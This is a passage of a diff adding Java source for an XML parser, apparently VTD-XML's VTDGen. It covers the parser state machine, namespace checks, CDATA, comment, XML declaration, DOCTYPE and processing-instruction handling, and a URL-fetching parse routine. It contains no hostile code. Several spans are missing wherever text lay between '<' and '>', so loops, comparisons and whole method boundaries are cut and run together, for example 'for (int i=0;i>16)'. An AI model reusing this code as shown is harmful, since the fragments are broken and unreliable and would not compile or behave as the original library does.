STATE_ATTR_VAL; + break; + + case STATE_ATTR_VAL : + parser_state = process_attr_val(); + break; + + case STATE_TEXT : + if (depth == -1) + throw new ParseException( + "Error in text content: Char data at the wrong place" + + formatLineNumber()); + do { + ch = r.getChar(); + //System.out.println(""+(char)ch); + if (XMLChar.isContentChar(ch)) { + } else if (ch == '<') { + break; + }else + handleOtherTextChar(ch); + ch = r.getChar(); + //System.out.println(""+(char)ch); + if (XMLChar.isContentChar(ch)) { + } else if (ch == '<') { + break; + }else + handleOtherTextChar(ch); + }while(true); + + length1 = offset - increment - temp_offset; + + if (singleByteEncoding) //if (encoding < FORMAT_UTF_16BE) + writeVTDText( + temp_offset, + length1, + TOKEN_CHARACTER_DATA, + depth); + else + writeVTDText( + temp_offset >> 1, + length1 >> 1, + TOKEN_CHARACTER_DATA, + depth); + + //has_amp = true; + parser_state = STATE_LT_SEEN; + break; + case STATE_DOC_START : + parser_state = process_start_doc(); + break; + case STATE_DOC_END : + //docEnd = true; + parser_state = process_end_doc(); + break; + case STATE_PI_TAG : + parser_state = process_pi_tag(); + break; + //throw new ParseException("Error in PI: Invalid char"); + case STATE_PI_VAL : + parser_state = process_pi_val(); + break; + + case STATE_DEC_ATTR_NAME : + parser_state = process_dec_attr(); + break; + + case STATE_COMMENT : + parser_state = process_comment(); + break; + + case STATE_CDATA : + parser_state = process_cdata(); + break; + + case STATE_DOCTYPE : + parser_state = process_doc_type(); + break; + + case STATE_END_COMMENT : + parser_state = process_end_comment(); + break; + + case STATE_END_PI : + parser_state = process_end_pi(); + break; + + default : + throw new ParseException( + "Other error: invalid parser state" + +formatLineNumber()); + } + } + } catch (EOFException e) { + if (parser_state != STATE_DOC_END) + throw e; + finishUp(); + } + } + + private void checkQualifiedAttributeUniqueness() throws ParseException { + // TODO Auto-generated method stub + int preLen1,os1,postLen1,URLLen1,URLOs1, + preLen2, os2,postLen2, URLLen2, URLOs2,k; + for (int i=0;i>16); + postLen1 = (int) ((prefixed_attr_name_array[i] & 0xffffL))-preLen1-increment; + os1 = (int) (prefixed_attr_name_array[i]>>32) + preLen1+increment; + URLLen1 = nsBuffer2.lower32At(prefix_URL_array[i]); + URLOs1 = nsBuffer2.upper32At(prefix_URL_array[i]); + for (int j=i+1;j>16); + postLen2 = (int) ((prefixed_attr_name_array[j] & 0xffffL))-preLen2-increment; + os2 = (int)(prefixed_attr_name_array[j]>>32) + preLen2 + increment; + //System.out.println(new String(XMLDoc,os1, postLen1) + // +" "+ new String(XMLDoc, os2, postLen2)); + if (postLen1 == postLen2){ + k=0; + for (;k"+(char)(XMLDoc[preOs+k])); + if (XMLDoc[os1+k]!=XMLDoc[os2+k]) + break; + } + if (k==postLen1){ + // found the match + URLLen2 = nsBuffer2.lower32At(prefix_URL_array[j]); + URLOs2 = nsBuffer2.upper32At(prefix_URL_array[j]); + //System.out.println(" URLOs1 ===>" + URLOs1); + //System.out.println("nsBuffer2 ===>"+nsBuffer2.longAt(i)+" i==>"+i); + //System.out.println("URLLen2 "+ URLLen2+" URLLen1 "+ URLLen1+" "); + if (matchURL(URLOs1, URLLen1, URLOs2, URLLen2)) + throw new ParseException(" qualified attribute names collide " + + formatLineNumber(os2)); + } + } + } + //System.out.println("======"); + } + } + + private void qualifyAttributes() throws ParseException{ + int i1= nsBuffer3.size-1; + int j= 0,i=0; + // two cases: + // 1. the current element has no prefix, look for xmlns + // 2. the current element has prefix, look for xmlns:something + while(j>16); + int preOs = (int) (prefixed_attr_name_array[j]>>32); + //System.out.println(new String(XMLDoc, preOs, preLen)+"==="); + i = i1; + while(i>=0){ + int t = nsBuffer3.upper32At(i); + // with prefix, get full length and prefix length + if ( (t&0xffff) - (t>>16) == preLen+increment){ + // doing byte comparison here + int os = nsBuffer3.lower32At(i)+(t>>16)+increment; + //System.out.println(new String(XMLDoc, os, preLen)+""); + int k=0; + for (;k"+(char)(XMLDoc[preOs+k])); + if (XMLDoc[os+k]!=XMLDoc[preOs+k]) + break; + } + if (k==preLen){ + break; // found the match + } + } + /*if ( (nsBuffer3.upper32At(i) & 0xffff0000) == 0){ + return; + }*/ + i--; + } + if (i<0) + throw new ParseException("Name space qualification Exception: prefixed attribute not qualified\n" + +formatLineNumber(preOs)); + else + prefix_URL_array[j] = i; + j++; + // no need to check if xml is the prefix + } + //for (int h=0;h"+(char)l); + if (URL2.charAt(i)!= (int)l) + return 0; + os += (int)(l>>32); + } + + //store offset value + t = os; + + for (i=0;i<11 && os>32); + } + if (os == g) + return 2; + + //so far a match + os = t; + for (i=18;i<36 && os>32); + } + if (os==g) + return 1; + + return 0; + } + + private boolean matchXML(int byte_offset) { + // TODO Auto-generated method stub + if (encoding= 0) + { + offset += numRead; + if (b.length-offset 0) { + //System.out.println("len ===> " + len + " " + // + urlConnection.getContentType()); + byte[] ba = new byte[len]; + int k=len,offset=0; + while(offset0){ + k=in.read(ba,offset,len-offset); + offset+=k; + } + this.setDoc(ba); + this.parse(ns); + return true; + } else { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + byte[] ba = new byte[4096]; + int k=-1; + while((k=in.read(ba))>0){ + baos.write(ba, 0, k); + } + this.setDoc(baos.toByteArray()); + this.parse(ns); + return true; + //baos.w + } + } + }catch(IOException e){ + + }catch(ParseException e){ + + }finally{ + try { + if (in != null) + in.close(); + if (urlConnection != null) + urlConnection.disconnect(); + } catch (Exception e) { + } + } + return false; + } + + //private + + /** + * This private method processes CDATA section + * @return the parser state after which the parser loop jumps to + * @throws ParseException + * @throws EncodingException + * @throws EOFException + */ + private int process_cdata() throws ParseException, EncodingException, EOFException{ + int parser_state; + while (true) { + ch = r.getChar(); + if (XMLChar.isValidChar(ch)) { + if (ch == ']' && r.skipChar(']')) { + while (r.skipChar(']')); + if (r.skipChar('>')) { + break; + } /*else + throw new ParseException( + "Error in CDATA: Invalid termination sequence" + + formatLineNumber());*/ + } + } else + throw new ParseException( + "Error in CDATA: Invalid Char" + + formatLineNumber()); + } + length1 = offset - temp_offset - (increment<<1) - increment; + if (singleByteEncoding){//if (encoding < FORMAT_UTF_16BE){ + + writeVTDText( + temp_offset, + length1, + TOKEN_CDATA_VAL, + depth); + } + else { + + writeVTDText( + temp_offset >> 1, + length1 >> 1, + TOKEN_CDATA_VAL, + depth); + } + //System.out.println(" " + (temp_offset) + " " + length1 + " CDATA " + depth); + temp_offset = offset; + //ch = getCharAfterSe(); + ch = getCharAfterS(); + + if (ch == '<') { + if (ws) + addWhiteSpaceRecord(); + parser_state = STATE_LT_SEEN; + } else if (XMLChar.isContentChar(ch)) { + //temp_offset = offset-1; + parser_state = STATE_TEXT; + } else if (ch == '&') { + //has_amp = true; + //temp_offset = offset-1; + entityIdentifier(); + parser_state = STATE_TEXT; + //temp_offset = offset; + } else if (ch == ']') { + //temp_offset = offset-1; + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseException( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + parser_state = STATE_TEXT; + }else + throw new ParseException( + "Other Error: Invalid char in xml" + + formatLineNumber()); + return parser_state; + } + /** + * This private method process comment + * @return the parser state after which the parser loop jumps to + * @throws ParseException + * @throws EncodingException + * @throws EOFException + */ + private int process_comment() throws ParseException, EncodingException, EOFException{ + int parser_state; + while (true) { + ch = r.getChar(); + if (XMLChar.isValidChar(ch)) { + if (ch == '-' && r.skipChar('-')) { + length1 = + offset - temp_offset - (increment<<1); + break; + } + } else + throw new ParseException( + "Error in comment: Invalid Char" + + formatLineNumber()); + } + if (r.getChar() == '>') { + //System.out.println(" " + (temp_offset) + " " + length1 + " comment " + depth); + if (singleByteEncoding)//if (encoding < FORMAT_UTF_16BE) + writeVTDText( + temp_offset, + length1, + TOKEN_COMMENT, + depth); + else + writeVTDText( + temp_offset >> 1, + length1 >> 1, + TOKEN_COMMENT, + depth); + //length1 = 0; + temp_offset = offset; + //ch = getCharAfterSe(); + ch = getCharAfterS(); + if (ch == '<') { + if (ws) + addWhiteSpaceRecord(); + parser_state = STATE_LT_SEEN; + } else if (XMLChar.isContentChar(ch)) { + //temp_offset = offset; + parser_state = STATE_TEXT; + } else if (ch == '&') { + //has_amp = true; + //temp_offset = offset; + entityIdentifier(); + parser_state = STATE_TEXT; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseException( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + parser_state = STATE_TEXT; + }else + throw new ParseException( + "Error in text content: Invalid char" + + formatLineNumber()); + return parser_state; + } else + throw new ParseException( + "Error in comment: Invalid terminating sequence" + + formatLineNumber()); + } + /** + * This private method processes declaration attributes + * @return the parser state after which the parser loop jumps to + * @throws ParseException + * @throws EncodingException + * @throws EOFException + */ + private int process_dec_attr() throws ParseException, EncodingException, EOFException{ + int parser_state; + if (ch == 'v' + && r.skipChar('e') + && r.skipChar('r') + && r.skipChar('s') + && r.skipChar('i') + && r.skipChar('o') + && r.skipChar('n')) { + ch = getCharAfterS(); + if (ch == '=') { + /*System.out.println( + " " + (temp_offset - 1) + " " + 7 + " dec attr name version " + depth);*/ + if (singleByteEncoding) + _writeVTD( + temp_offset - 1, + 7, + TOKEN_DEC_ATTR_NAME, + depth); + else + _writeVTD( + (temp_offset -2) >> 1, + 7, + TOKEN_DEC_ATTR_NAME, + depth); + } else + throw new ParseException( + "XML decl error: Invalid char" + + formatLineNumber()); + } else + throw new ParseException( + "XML decl error: should be version" + + formatLineNumber()); + ch_temp = getCharAfterS(); + if (ch_temp != '\'' && ch_temp != '"') + throw new ParseException( + "XML decl error: Invalid char to start attr name" + + formatLineNumber()); + temp_offset = offset; + // support 1.0 or 1.1 + if (r.skipChar('1') + && r.skipChar('.') + && (r.skipChar('0') || r.skipChar('1'))) { + /*System.out.println( + " " + temp_offset + " " + 3 + " dec attr val (version)" + depth);*/ + if (singleByteEncoding) + _writeVTD( + temp_offset, + 3, + TOKEN_DEC_ATTR_VAL, + depth); + else + _writeVTD( + temp_offset >> 1, + 3, + TOKEN_DEC_ATTR_VAL, + depth); + } else + throw new ParseException( + "XML decl error: Invalid version(other than 1.0 or 1.1) detected" + + formatLineNumber()); + if (!r.skipChar(ch_temp)) + throw new ParseException( + "XML decl error: version not terminated properly" + + formatLineNumber()); + ch = r.getChar(); + //? space or e + if (XMLChar.isSpaceChar(ch)) { + ch = getCharAfterS(); + temp_offset = offset - increment; + if (ch == 'e') { + if (r.skipChar('n') + && r.skipChar('c') + && r.skipChar('o') + && r.skipChar('d') + && r.skipChar('i') + && r.skipChar('n') + && r.skipChar('g')) { + ch = r.getChar(); + if (XMLChar.isSpaceChar(ch)) + ch = getCharAfterS(); + if (ch == '=') { + /*System.out.println( + " " + (temp_offset) + " " + 8 + " dec attr name (encoding) " + depth);*/ + if (singleByteEncoding) + _writeVTD( + temp_offset, + 8, + TOKEN_DEC_ATTR_NAME, + depth); + else + _writeVTD( + temp_offset >> 1, + 8, + TOKEN_DEC_ATTR_NAME, + depth); + } else + throw new ParseException( + "XML decl error: Invalid char" + + formatLineNumber()); + ch_temp = getCharAfterS(); + if (ch_temp != '"' && ch_temp != '\'') + throw new ParseException( + "XML decl error: Invalid char to start attr name" + + formatLineNumber()); + temp_offset = offset; + ch = r.getChar(); + switch (ch) { + case 'a' : + case 'A' : + if ((r.skipChar('s') + || r.skipChar('S')) + && (r.skipChar('c') + || r.skipChar('C')) + && (r.skipChar('i') + || r.skipChar('I')) + && (r.skipChar('i') + || r.skipChar('I')) + && r.skipChar(ch_temp)) { + if (encoding != FORMAT_UTF_16LE + && encoding + != FORMAT_UTF_16BE) { + if (must_utf_8) + throw new EncodingException("Can't switch from UTF-8" + + formatLineNumber()); + encoding = FORMAT_ASCII; + r = new ASCIIReader(); + /*System.out.println( + " " + (temp_offset) + " " + 5 + " dec attr val (encoding) " + depth);*/ + + _writeVTD( + temp_offset, + 5, + TOKEN_DEC_ATTR_VAL, + depth); + + break; + } else + throw new ParseException( + "XML decl error: Can't switch encoding to ASCII" + + formatLineNumber()); + } + throw new ParseException( + "XML decl error: Invalid Encoding" + + formatLineNumber()); + case 'c': + case 'C': + matchCPEncoding(); + break; + case 'i' : + case 'I' : + matchISOEncoding(); + break; + case 'u' : + case 'U' : + matchUTFEncoding(); + break; + // now deal with windows encoding + case 'w' : + case 'W' : + matchWindowsEncoding(); + break; + default : + throw new ParseException( + "XML decl Error: invalid encoding" + + formatLineNumber()); + } + ch = r.getChar(); + if (XMLChar.isSpaceChar(ch)) + ch = getCharAfterS(); + temp_offset = offset - increment; + } else + throw new ParseException( + "XML decl Error: Invalid char" + + formatLineNumber()); + } + + if (ch == 's') { + if (r.skipChar('t') + && r.skipChar('a') + && r.skipChar('n') + && r.skipChar('d') + && r.skipChar('a') + && r.skipChar('l') + && r.skipChar('o') + && r.skipChar('n') + && r.skipChar('e')) { + + ch = getCharAfterS(); + if (ch != '=') + throw new ParseException( + "XML decl error: Invalid char" + + formatLineNumber()); + /*System.out.println( + " " + temp_offset + " " + 3 + " dec attr name (standalone) " + depth);*/ + if (singleByteEncoding) + _writeVTD( + temp_offset, + 10, + TOKEN_DEC_ATTR_NAME, + depth); + else + _writeVTD( + temp_offset >> 1, + 10, + TOKEN_DEC_ATTR_NAME, + depth); + ch_temp = getCharAfterS(); + temp_offset = offset; + if (ch_temp != '"' && ch_temp != '\'') + throw new ParseException( + "XML decl error: Invalid char to start attr name" + + formatLineNumber()); + ch = r.getChar(); + if (ch == 'y') { + if (r.skipChar('e') + && r.skipChar('s') + && r.skipChar(ch_temp)) { + /*System.out.println( + " " + (temp_offset) + " " + 3 + " dec attr val (standalone) " + depth);*/ + if (singleByteEncoding) + _writeVTD( + temp_offset, + 3, + TOKEN_DEC_ATTR_VAL, + depth); + else + _writeVTD( + temp_offset >> 1, + 3, + TOKEN_DEC_ATTR_VAL, + depth); + } else + throw new ParseException( + "XML decl error: invalid val for standalone" + + formatLineNumber()); + } else if (ch == 'n') { + if (r.skipChar('o') + && r.skipChar(ch_temp)) { + /*System.out.println( + " " + (temp_offset) + " " + 2 + " dec attr val (standalone)" + depth);*/ + if (singleByteEncoding) + _writeVTD( + temp_offset, + 2, + TOKEN_DEC_ATTR_VAL, + depth); + else + _writeVTD( + temp_offset >> 1, + 2, + TOKEN_DEC_ATTR_VAL, + depth); + } else + throw new ParseException( + "XML decl error: invalid val for standalone" + + formatLineNumber()); + } else + throw new ParseException( + "XML decl error: invalid val for standalone" + + formatLineNumber()); + } else + throw new ParseException( + "XML decl error" + formatLineNumber()); + ch = r.getChar(); + if (XMLChar.isSpaceChar(ch)) + ch = getCharAfterS(); + } + } + + if (ch == '?' && r.skipChar('>')) { + temp_offset = offset; + ch = getCharAfterS(); + if (ch == '<') { + parser_state = STATE_LT_SEEN; + } else + throw new ParseException( + "Other Error: Invalid Char in XML" + + formatLineNumber()); + } else + throw new ParseException( + "XML decl Error: Invalid termination sequence" + + formatLineNumber()); + return parser_state; + } + + /** + * This private method process DTD + * @return the parser state after which the parser loop jumps to + * @throws ParseException + * @throws EncodingException + * @throws EOFException + */ + private int process_doc_type() throws ParseException,EncodingException, EOFException{ + int z = 1,parser_state; + while (true) { + ch = r.getChar(); + if (XMLChar.isValidChar(ch)) { + if (ch == '>') + z--; + else if (ch == '<') + z++; + if (z == 0) + break; + } else + throw new ParseException( + "Error in DOCTYPE: Invalid char" + + formatLineNumber()); + } + length1 = offset - temp_offset - increment; + /*System.out.println( + " " + (temp_offset) + " " + length1 + " DOCTYPE val " + depth);*/ + if (singleByteEncoding){//if (encoding < FORMAT_UTF_16BE){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseException("Token Length Error:" + +" DTD val too long (>0xfffff)" + + formatLineNumber()); + _writeVTD( + temp_offset, + length1, + TOKEN_DTD_VAL, + depth); + } + else{ + if (length1 > (MAX_TOKEN_LENGTH<<1)) + throw new ParseException("Token Length Error:" + +" DTD val too long (>0xfffff)" + + formatLineNumber()); + _writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_DTD_VAL, + depth); + } + ch = getCharAfterS(); + if (ch == '<') { + parser_state = STATE_LT_SEEN; + } else + throw new ParseException( + "Other Error: Invalid char in xml" + + formatLineNumber()); + return parser_state; + } + /** + * This private method process the comment after the root document + * @return the parser state after which the parser loop jumps to + * @throws ParseException + */ + private int process_end_comment()throws ParseException { + int parser_state; + while (true) { + ch = r.getChar(); + if (XMLChar.isValidChar(ch)) { + if (ch == '-' && r.skipChar('-')) { + length1 = + offset - temp_offset - (increment<<1); + break; + } + } else + throw new ParseException( + "Error in comment: Invalid Char" + + formatLineNumber()); + } + if (r.getChar() == '>') { + //System.out.println(" " + temp_offset + " " + length1 + " comment " + depth); + if (singleByteEncoding) //if (encoding < FORMAT_UTF_16BE) + writeVTDText( + temp_offset, + length1, + TOKEN_COMMENT, + depth); + else + writeVTDText( + temp_offset >> 1, + length1 >> 1, + TOKEN_COMMENT, + depth); + parser_state = STATE_DOC_END; + return parser_state; + } + throw new ParseException( + "Error in comment: '-->' expected" + + formatLineNumber()); + } + + private int process_end_doc() throws ParseException, EncodingException, EOFException { + int parser_state; + ch = getCharAfterS(); + /* eof exception should be thrown here for premature ending*/ + if (ch == '<') { + + if (r.skipChar('?')) { + /* processing instruction after end tag of root element*/ + temp_offset = offset; + parser_state = STATE_END_PI; + return parser_state; + } else if ( + r.skipChar('!') + && r.skipChar('-') + && r.skipChar('-')) { + // comments allowed after the end tag of the root element + temp_offset = offset; + parser_state = STATE_END_COMMENT; + return parser_state; + } + } + throw new ParseException( + "Other Error: XML not terminated properly" + + formatLineNumber()); + } + + /** + * This private method processes PI after root document + * @return the parser state after which the parser loop jumps to + * @throws ParseException + * @throws EncodingException + * @throws EOFException + */ + private int process_end_pi() throws ParseException,EncodingException, EOFException{ + int parser_state; + ch = r.getChar(); + if (XMLChar.isNameStartChar(ch)) { + if ((ch == 'x' || ch == 'X') + && (r.skipChar('m') || r.skipChar('M')) + && (r.skipChar('l') && r.skipChar('L'))) { + //temp_offset = offset; + ch = r.getChar(); + if (XMLChar.isSpaceChar(ch) || ch == '?') + throw new ParseException( + "Error in PI: [xX][mM][lL] not a valid PI target" + + formatLineNumber()); + //offset = temp_offset; + } + + while (true) { + //ch = getChar(); + if (!XMLChar.isNameChar(ch)) { + break; + } + ch = r.getChar(); + } + + length1 = offset - temp_offset - increment; + /*System.out.println( + "" + + (char) XMLDoc[temp_offset] + + " " + + (temp_offset) + + " " + + length1 + + " PI Target " + + depth);*/ + if (singleByteEncoding){//if (encoding < FORMAT_UTF_16BE){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseException("Token Length Error:" + +"PI name too long (>0xfffff)" + + formatLineNumber()); + _writeVTD( + temp_offset, + length1, + TOKEN_PI_NAME, + depth); + } + else{ + if (length1 > (MAX_TOKEN_LENGTH<<1)) + throw new ParseException("Token Length Error:" + +"PI name too long (>0xfffff)" + + formatLineNumber()); + _writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_PI_NAME, + depth); + } + //length1 = 0; + temp_offset = offset; + if (XMLChar.isSpaceChar(ch)) { + ch = getCharAfterS(); + + while (true) { + if (XMLChar.isValidChar(ch)) { + if (ch == '?'){ + if (r.skipChar('>')) { + parser_state = STATE_DOC_END; + break; + } else + throw new ParseException( + "Error in PI: invalid termination sequence" + + formatLineNumber()); + } + } else + throw new ParseException( + "Error in PI: Invalid char in PI val" + + formatLineNumber()); + ch = r.getChar(); + } + length1 = offset - temp_offset - (increment<<1); + if (singleByteEncoding){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseException("Token Length Error:" + +"PI val too long (>0xfffff)" + + formatLineNumber()); + _writeVTD( + temp_offset, + length1, + TOKEN_PI_VAL, + depth); + } + else{ + if (length1 > (MAX_TOKEN_LENGTH<<1)) + throw new ParseException("Token Length Error:" + +"PI val too long (>0xfffff)" + + formatLineNumber()); + _writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_PI_VAL, + depth); + } + //System.out.println(" " + temp_offset + " " + length1 + " PI val " + depth); + } else { + if (singleByteEncoding){ + _writeVTD( + (temp_offset), + 0, + TOKEN_PI_VAL, + depth); + } + else{ + _writeVTD( + (temp_offset) >> 1, + 0, + TOKEN_PI_VAL, + depth); + } + if ((ch == '?') && r.skipChar('>')) { + parser_state = STATE_DOC_END; + } else + throw new ParseException( + "Error in PI: invalid termination sequence" + + formatLineNumber()); + } + //parser_state = STATE_DOC_END; + } else + throw new ParseException("Error in PI: invalid char in PI target" + +formatLineNumber()); + return parser_state; + } + + private int process_ex_seen()throws ParseException, EncodingException, EOFException { + int parser_state; + boolean hasDTD = false; + ch = r.getChar(); + switch (ch) { + case '-' : + if (r.skipChar('-')) { + temp_offset = offset; + parser_state = STATE_COMMENT; + break; + } else + throw new ParseException( + "Error in comment: Invalid char sequence to start a comment" + + formatLineNumber()); + case '[' : + if (r.skipChar('C') + && r.skipChar('D') + && r.skipChar('A') + && r.skipChar('T') + && r.skipChar('A') + && r.skipChar('[') + && (depth != -1)) { + temp_offset = offset; + parser_state = STATE_CDATA; + break; + } else { + if (depth == -1) + throw new ParseException( + "Error in CDATA: Wrong place for CDATA" + + formatLineNumber()); + throw new ParseException( + "Error in CDATA: Invalid char sequence for CDATA" + + formatLineNumber()); + } + + case 'D' : + if (r.skipChar('O') + && r.skipChar('C') + && r.skipChar('T') + && r.skipChar('Y') + && r.skipChar('P') + && r.skipChar('E') + && (depth == -1) + && !hasDTD) { + hasDTD = true; + temp_offset = offset; + parser_state = STATE_DOCTYPE; + break; + } else { + if (hasDTD == true) + throw new ParseException( + "Error for DOCTYPE: Only DOCTYPE allowed" + + formatLineNumber()); + if (depth != -1) + throw new ParseException( + "Error for DOCTYPE: DTD at wrong place" + + formatLineNumber()); + throw new ParseException( + "Error for DOCTYPE: Invalid char sequence for DOCTYPE" + + formatLineNumber()); + } + default : + throw new ParseException( + "Other Error: Unrecognized char after MAX_PREFIX_LENGTH + || length1 > MAX_QNAME_LENGTH) + throw new ParseException( + s1 + +formatLineNumber()); + _writeVTD( + temp_offset, + (length2 << 11) | length1, + TOKEN_ATTR_NS, + depth); + } + else{ + if (length2>(MAX_PREFIX_LENGTH << 1) + || length1 > (MAX_QNAME_LENGTH <<1)) + throw new ParseException( + s2 + + formatLineNumber()); + _writeVTD( + temp_offset >> 1, + (length2 << 10) | (length1 >> 1), + TOKEN_ATTR_NS, + depth); + } + // append to nsBuffer2 + if (ns) { + //unprefixed xmlns are not recorded + if (length2 != 0 && !isXML) { + //nsBuffer2.append(VTDBuffer.size() - 1); + long l = ((long) ((length2 << 16) | length1)) << 32 + | temp_offset; + nsBuffer3.append(l); // byte offset and byte + // length + } + } + + } else { + //if (encoding < FORMAT_UTF_16BE){ + s1="Token Length Error: Attr name prefix or qname length too long"; + s2="Token Length overflow error: Attr name prefix or qname length too long" ; + if (singleByteEncoding) { + if (length2>MAX_PREFIX_LENGTH + || length1 > MAX_QNAME_LENGTH) + throw new ParseException( + "Token Length Error: Attr name prefix or qname length too long" + + formatLineNumber()); + _writeVTD( + temp_offset, + (length2 << 11) | length1, + TOKEN_ATTR_NAME, + depth); + } + else{ + if (length2>(MAX_PREFIX_LENGTH<<1) + || length1 > (MAX_QNAME_LENGTH<<1)) + throw new ParseException( + "Token Length overflow error: Attr name prefix or qname length too long" + + formatLineNumber()); + _writeVTD( + temp_offset >> 1, + (length2 << 10) | (length1 >> 1), + TOKEN_ATTR_NAME, + depth); + } + } + + /*System.out.println( + " " + temp_offset + " " + length2 + ":" + length1 + " attr name " + depth);*/ + length2 = 0; + if (XMLChar.isSpaceChar(ch)) { + ch = getCharAfterS(); + } + if (ch != '=') + throw new ParseException( + "Error in attr: invalid char" + + formatLineNumber()); + ch_temp = getCharAfterS(); + if (ch_temp != '"' && ch_temp != '\'') + throw new ParseException( + "Error in attr: invalid char (should be ' or \" )" + + formatLineNumber()); + temp_offset = offset; + } + + private int process_attr_val()throws ParseException, EncodingException, EOFException{ + //int parser_state; + do{ + ch = r.getChar(); + if (XMLChar.isValidChar(ch) && ch != '<') { + if (ch == ch_temp) + break; + if (ch == '&') { + // as in vtd spec, we mark attr val with entities + if (!XMLChar + .isValidChar(entityIdentifier())) { + throw new ParseException( + "Error in attr: Invalid XML char" + + formatLineNumber()); + } + } + } else + throw new ParseException( + "Error in attr: Invalid XML char" + + formatLineNumber()); + }while (true); + + length1 = offset - temp_offset - increment; + if (ns && is_ns){ + if (!default_ns && length1==0){ + throw new ParseException(" non-default ns URL can't be empty" + +formatLineNumber()); + } + //identify nsURL return 0,1,2 + int t= identifyNsURL(temp_offset, length1); + if (isXML){//xmlns:xml + if (t!=1) + //URL points to "http://www.w3.org/XML/1998/namespace" + throw new ParseException("xmlns:xml can only point to" + +"\"http://www.w3.org/XML/1998/namespace\"" + + formatLineNumber()); + + } else { + if (!default_ns) + nsBuffer2.append(((long)temp_offset<<32) | length1); + if (t!=0){ + if (t==1) + throw new ParseException("namespace declaration can't point to" + +" \"http://www.w3.org/XML/1998/namespace\"" + + formatLineNumber()); + throw new ParseException("namespace declaration can't point to" + +" \"http://www.w3.org/2000/xmlns/\"" + + formatLineNumber()); + } + } + // no ns URL points to + //"http://www.w3.org/2000/xmlns/" + + // no ns URL points to + //"http://www.w3.org/XML/1998/namespace" + } + + if (singleByteEncoding){ + //if (encoding < FORMAT_UTF_16BE){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseException("Token Length Error:" + +" Attr val too long (>0xfffff)" + + formatLineNumber()); + _writeVTD( + temp_offset, + length1, + TOKEN_ATTR_VAL, + depth); + } + else{ + if (length1 > (MAX_TOKEN_LENGTH <<1)) + throw new ParseException("Token Length Error:" + +" Attr val too long (>0xfffff)" + + formatLineNumber()); + _writeVTD( + temp_offset >> 1, + length1 >> 1, + TOKEN_ATTR_VAL, + depth); + } + + + isXML = false; + is_ns = false; + + ch = r.getChar(); + if (XMLChar.isSpaceChar(ch)) { + ch = getCharAfterS(); + if (XMLChar.isNameStartChar(ch)) { + temp_offset = offset - increment; + return STATE_ATTR_NAME; + //break; + } + } + + helper = true; + if (ch == '/') { + depth--; + helper = false; + ch = r.getChar(); + } + + if (ch == '>') { + if (ns){ + nsBuffer1.append(nsBuffer3.size-1); + if (prefixed_attr_count>0) + qualifyAttributes(); + if (prefixed_attr_count>1){ + checkQualifiedAttributeUniqueness(); + } + if (currentElementRecord !=0) + qualifyElement(); + prefixed_attr_count=0; + } + attr_count = 0; + return processElementTail(helper); + } + + throw new ParseException( + "Starting tag Error: Invalid char in starting tag" + + formatLineNumber()); + } + /** + * This private method processes PI tag + * @return the parser state after which the parser loop jumps to + * @throws ParseException + * @throws EncodingException + * @throws EOFException + */ + private int process_pi_tag() throws ParseException, EncodingException, EOFException{ + int parser_state; + while (true) { + ch = r.getChar(); + if (!XMLChar.isNameChar(ch)) + break; + //System.out.println(" ch ==> "+(char)ch); + } + + length1 = offset - temp_offset - increment; + /*System.out.println( + ((char) XMLDoc[temp_offset]) + + " " + + (temp_offset) + + " " + + length1 + + " PI Target " + + depth); */ + //if (encoding < FORMAT_UTF_16BE){ + if (singleByteEncoding){ + if (length1 > MAX_TOKEN_LENGTH) + throw new ParseException("Token Length Error:" + +" PI name too long (>0xfffff)" + + formatLineNumber()); + _writeVTD( + (temp_offset), + length1, + TOKEN_PI_NAME, + depth); + } + else{ + if(length1 > (MAX_TOKEN_LENGTH<<1)) + throw new ParseException("Token Length Error:" + +" PI name too long (>0xfffff)" + + formatLineNumber()); + _writeVTD( + (temp_offset) >> 1, + (length1 >> 1), + TOKEN_PI_NAME, + depth); + } + //length1 = 0; + //temp_offset = offset; + /*if (XMLChar.isSpaceChar(ch)) { + ch = r.getChar(); + }*/ + //ch = r.getChar(); + if (ch == '?') { + // insert zero length pi name tag + if (singleByteEncoding){ + _writeVTD( + (temp_offset), + 0, + TOKEN_PI_VAL, + depth); + } + else{ + _writeVTD( + (temp_offset) >> 1, + (0), + TOKEN_PI_VAL, + depth); + } + if (r.skipChar('>')) { + temp_offset = offset; + //ch = getCharAfterSe(); + ch = getCharAfterS(); + if (ch == '<') { + if (ws) + addWhiteSpaceRecord(); + parser_state = STATE_LT_SEEN; + } else if (XMLChar.isContentChar(ch)) { + parser_state = STATE_TEXT; + } else if (ch == '&') { + //has_amp = true; + entityIdentifier(); + parser_state = STATE_TEXT; + } else if (ch == ']') { + if (r.skipChar(']')) { + while (r.skipChar(']')) { + } + if (r.skipChar('>')) + throw new ParseException( + "Error in text content: ]]> in text content" + + formatLineNumber()); + } + parser_state = STATE_TEXT; + }else + throw new ParseException( + "Error in text content: Invalid char" + + formatLineNumber()); + return parser_state; + } else + throw new ParseException( + "Error in PI: invalid termination sequence" + + formatLineNumber()); + } + parser_state = STATE_PI_VAL; + return parser_state; + } + /** + * This private method processes PI val + * @return the parser state after which the parser loop jumps to + * @throws ParseException + * @throws EncodingException + * @throws EOFException + */ + private int process_pi_val() throws ParseException, EncodingException, EOFException{ + int parser_state; + if (!XMLChar.isSpaceChar(ch)) + throw new ParseException( + "Error in PI: invalid termination sequence" + + formatLineNumber()); + temp_offset = offset; + ch = r.getChar(); + while (true) { + if (XMLChar.isValidChar(ch)) { + //System.out.println(""+(char)ch); + if (ch == '?') + if (r.skipChar('>')) { + break; + } /*else + throw new ParseException( + "Error in PI: invalid termination sequence for PI" + + formatLineNumber());*/ + } else + throw new ParseException( + "Errors in PI: Invalid char in PI val" + + formatLineNumber()); + ch = r.getChar(); + } + length1 = offset - temp_offset - (increment<<1); + /*System.out.println( + ((char) XMLDoc[temp_offset]) + + " " + + (temp_offset) + + " " + + length1 + + " PI val " + + 